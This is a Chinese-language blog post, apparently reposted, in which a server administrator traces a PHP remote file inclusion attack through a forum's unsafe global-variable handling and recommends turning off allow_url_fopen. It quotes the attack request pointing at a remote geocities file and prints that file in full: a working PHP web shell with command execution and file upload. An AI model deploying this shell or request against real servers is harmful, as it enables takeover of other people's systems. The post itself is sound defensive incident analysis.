在 Php 中把 Allow_url_fopen 打開的風險[通俗易懂]

在 Php 中把 Allow_url_fopen 打開的風險[通俗易懂]https://blog.teatime.com.tw最近老是在我的/tmp裡頭,發現有個多出來的/tmp/cmdtemp檔案.也在apache的error_log中發現一些訊息如下:sh:-c:line1:syntaxerrornearunexpectedtoken`;’sh:-c:line1:`;1>/tmp/cmdtemp2>…

大家好,又见面了,我是你们的朋友全栈君。

https://blog.teatime.com.tw

最近老是在我的 /tmp 裡頭, 發現有個多出來的 /tmp/cmdtemp 檔案. 也在 apache 的 error_log 中發現一些訊息如下:

sh: -c: line 1: syntax error near unexpected token `;'
sh: -c: line 1: `; 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm ^M'
rm: cannot remove `\r': No such file or directory
sh: line 1: /tmp/cmdtemp: Permission denied
rm: cannot remove `\r': No such file or directory
sh: line 1: /tmp/cmdtemp: Permission denied
sh: -c: line 1: syntax error near unexpected token `;'
sh: -c: line 1: `; 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm ^M'
cat: write error: Broken pipe
rm: cannot remove `\r': No such file or directory
sh: line 1: /tmp/cmdtemp: Permission denied

雖然我的 /tmp 是獨立的, 且被 mount 為 noexec, 所以上頭的指令都無法正確的執行. 不過… 為什麼會讓人家有辦法把檔案寫入 /tmp/ 內呢?

到 Google 找了一下, 發現在 PHP Bugs 的這篇文章, 裡頭提到了, 應該是 allow_url_fopen 打開的時候, 如果有人傳入一個參數為 xxx=http://xxx/xxx 之類的東西, 如果這個 php 的程式, 沒有檢查這個變數, 或是 register_globals 是開啟的情形下, 也許會造成這個 php 使用 include() 去把遠端那個 URL 的檔案給引入執行…. 也就是執行到了別人寫的程式, 這時… 自然別人想在那裡頭做什麼, 就能夠做什麼了.

所以, 我想我的機器上頭, 一定有那個使用者放的 php 程式, 會造成這個問題. 原本以為下頭的指令可以簡單的抓出

grep =http: access.log  

可是… 由於我有把 referer 也記錄到 log 裡頭, 所以… 會找到一堆在 referer 中有  =http: 的資料. 所以我寫了下頭的這個 script 來處理:

#!/usr/bin/php -Cq
<?php

$fp = fopen("php://stdin", "rt");
if ($fp == 0) exit;
while (!feof($fp)) {
   $buf = fgets($fp, 4096);
   $pos = strpos($buf, ' HTTP/');
   if ($pos === false) continue;
   echo substr($buf, 0, $pos)."\n";
}
fclose($fp);
exit;
?> 

在 HTTP/ 這個字串之前的都是我要的. 然後執行

grep HTTP *.1 | ./t.php | grep =http 

就可以找出來了. 發現是某個使用者放上來的討論區, 有人使用了下列的方式存取:

forgot_password.php?inc_dir=http://www.geocities.com/goblockz/hajar.txt?

發現會設一下 inc_dir 的 GET 變數. 而在這套系統中, inc_dir 就是這個系統用來 include 檔案時, 會加上的路徑. 原本 $inc_dir = ‘include/’, 所以裡頭用了一堆 include $inc_dir.’abc.inc’ 之類的語法.

不過… 我的 register_globals 並沒有打開啊… 怎麼會把這個 GET 的變數, 直接就取代了 $inc_dir 呢?

再看一下程式, 果然裡頭有 register_globals.php 其中一段是這樣子寫的:

        if (isset($HTTP_GET_VARS)) {
                reset($HTTP_GET_VARS);
                while ( list($var, $val) = each($HTTP_GET_VARS) ) {
                        $$var=$val;
                }
        }

就直接把 GET 的變數拿來用了… 自然覆蓋了原本的 $inc_dir, 所以在這個動作之後, 如果有做任何:

include $inc_dir."abc.php" 

之類的動作, 就變成:

include http://www.geocities.com/goblockz/hajar.txt?abc.php 

接著就跑到了上頭那個 hajar.txt 的內容了. 而這個檔案的內容如下:

<title>caRefuLL d4Ve-cOoL was HeRe..!!|| pOweRed fRoM #kLiNik@DALnet </title>

<div align = left><p><marquee bgcolor="#000000" style="border-top:5px dotted #3333ff; border-bottom:5px dotted #3333ff; font-family: Times New Roman; font-size: 24pt; font-weight: bold" behavior="alternate">#kLiNik@DALnet </marquee></p>

<body text="#ff0000" bgcolor="#000000" onLoad="showTheTime()">

<script language="JavaScript">

<div align="center"><font face="verdana" size="5" color="red"><b>inject Generated By d4Ve</u></b></font></div> 

<div align="center"><img src="http://www.geocities.com/goblockz/logo.jpg" width="168" height="154"><font face="Verdana" size="5"></div>

<div align="center"><font color="red">*</font><font color="blue"> <b>T</b>hANk<b>`</b>s <b>gOd</b></font><font color="red"> *</font></center></div>

<div align="center"><font color="red"></b>sUppORted </b>by </b>: </b>#kLiNik`cReW@</b>DALnet</center></font></font></div>

<br>  

<hr>

<div align="left">

<?php

  closelog( );

  $user = get_current_user( );

  $login = posix_getuid( );

  $euid = posix_geteuid( );

  $ver = phpversion( );

  $gid = posix_getgid( );

  if ($chdir == "") $chdir = getcwd( );

  if(!$whoami)$whoami=exec("whoami");

?>

<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">

<?php

  $uname = posix_uname( );

  while (list($info, $value) = each ($uname)) {

?>

  <TR>

    <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b><span style="font-size: 9pt"><?= $info ?>

      <span style="font-size: 9pt">:</b> <?= $value ?></span></DIV></TD>

  </TR>

<?php

  }

?>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Current Path:</b> <?= $chdir ?></span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?>

    </span></DIV></TD>

  </TR>  

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?>

    </span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Server Address:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?>

    </span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Script Current User:</b> <?= $user ?></span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">PHP Version:</b> <?= $ver ?></span></DIV></TD>

  </TR>

</TABLE>

</b>

</div></font></div>



<?php



set_magic_quotes_runtime(0);



$currentWD  = str_replace("\\\\","\\",$_POST['_cwd']);

$currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);



$UName  = `uname -a`;

$SCWD   = `pwd`;

$UserID = `id`;



if( $currentWD == "" ) {

    $currentWD = $SCWD;

}



if( $_POST['_act'] == "List files!" ) {

    $currentCMD = "ls -la";

}





print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>";



print "<tr><td><b>kOeMeN eksEkUt:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";

print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";



print "<tr><td><b>ChANge diRectORy:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";

print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";



print "<tr><td><b>UpLOad fiLe:</b></td><td><input size=85 type=file name=_upl></td>";

print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";



print "</table></form><hr><hr>";



$currentCMD = str_replace("\\\"","\"",$currentCMD);

$currentCMD = str_replace("\\\'","\'",$currentCMD);



if( $_POST['_act'] == "Upload!" ) {

    if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {

        print "<center><b>Error while uploading file!</b></center>";

    } else {

        print "<center><pre>";

        system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");

        print "</pre><b>File uploaded berHasiL cOy!</b></center>";

    }    

} else {

    print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";

    $currentCMD = "cd ".$currentWD.";".$currentCMD;

  system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm 

/tmp/cmdtemp");

    print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>peRiNtaH sUkses</b></center>";

}



exit;



?></body></font></font></b></font>



<embed src="http://critical-solution.com/midi/NovemberRain.mid" width="1" height="1" type="audio/midi"></html> 

裡頭可以讓你上傳檔案,  也可以讓你執行指令….  如果我的 /tmp 裡頭是可以執行的話,  可能就會放上一堆程式來跑了.

所以…  如果你沒有用到 URL file-access 的功能的話, 請在 php.ini 中:

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = Off

把 allow_url_fopen 設成 Off.

不然的話, 請確定你所有的網站上頭的 php 程式, 都不會有我上頭這類的情形發生.

PS. 在 php 4.3 之前,  allow_url_fopen 似乎不會讓 include(), require() 之類的函式, 可以讀取遠端的程式碼進來, 不過, 在 4.3 之後, 就可以讓這類的函式有了遠端讀取的能力. 而且… 沒有辦法限制. 要不就整個打開, 要不就整個關閉. 一點彈性都沒有… 更糟的是… 這個選項預設好像是打開的… 似乎有點不太安全吧. 在 php 的官方網站上頭, 看到 php 6 有另一個 allow_url_include 的選項, 應該就是為了解決這個問題, 讓我們可以在一般的情形下使用 fopen 去打開遠端的檔案, 而不會用在 include() 上頭吧. 所以… 在 php 6 出來前… 大家還是把這功能關閉為妙吧.

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/160266.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • django drf jwt_django登录验证

    django drf jwt_django登录验证前言带着问题学习是最有目的性的,我们先提出以下几个问题,看看通过这篇博客的讲解,能解决问题吗?什么是JWT?为什么要用JWT?它有什么优势?JWT的认证流程是怎样的?JWT的工作原理?我们

    2022年7月29日
    6
  • 使用CEGUI

    使用CEGUI更多精彩内容,请见:http://www.16boke.comcegui 1 cegui渲染入门至少需要3步,才可以使cegui运行起来1 创建CEGUI::Renderer对象2 创建CEGUI::System对象3 调用渲染函数1 创建 CEGUI:Renderer对象支持的渲染组件(Direct3d9 OpenGl Ogre3d etc..)记得包含所使用的渲染组件的头文件。Direct3D 8.1CEGUI::Di

    2022年7月24日
    14
  • BestMPRBaseVtk-009-设置默认窗宽窗位

    BestMPRBaseVtk-009-设置默认窗宽窗位今天我们来解决一个小问题,就是让图像加载完了,按照图像自带的窗宽窗位显示,这么形容不知道是否准确,大概意思就是这样吧。目前和MITK对比如下图所示:

    2022年6月23日
    40
  • 感知机原理小结

    感知机原理小结  感知机由Rosenblatt于1957年提出,是神经网络和支持向量机的基础。这里先简单介绍一下什么是感知机。本篇博客为《统计学方法》第二章和博客《感知机原理小结》的总结。感知机模型  感知机是二分类的线性分类模型,其输入为实例的特征向量,输出为实例的类别,分别取+1+1+1和−1−1-1二值。感知机对应于输入空间(特征空间)中将实例划分为正负两类的分离超平面,属于判别模型。这还是很…

    2022年10月8日
    3
  • 【AssemblyInfo.cs】为程序设置版本和帮助信息

    【AssemblyInfo.cs】为程序设置版本和帮助信息软件编写完成之后,都会在软件中添加一些版权信息,怎样设置这些版权信息呐?C#工程中的AssemblyInfo.cs文件又有什么作用?

    2022年7月13日
    27
  • FFmepg_ffmpeg下载

    FFmepg_ffmpeg下载FFMpeg0.6版源码下载:来自:http://sourceforge.net/projects/mplayer-win32/files/FFmpeg/FFmpeg-svn-24623.7zffmpeg-r24623.tar.bz2我收集到的相关开发资料:(均来自网络) FFMpeg中apiexample_c例子分析——解码分析.txtffmpeg初级教程.rarff

    2022年9月24日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号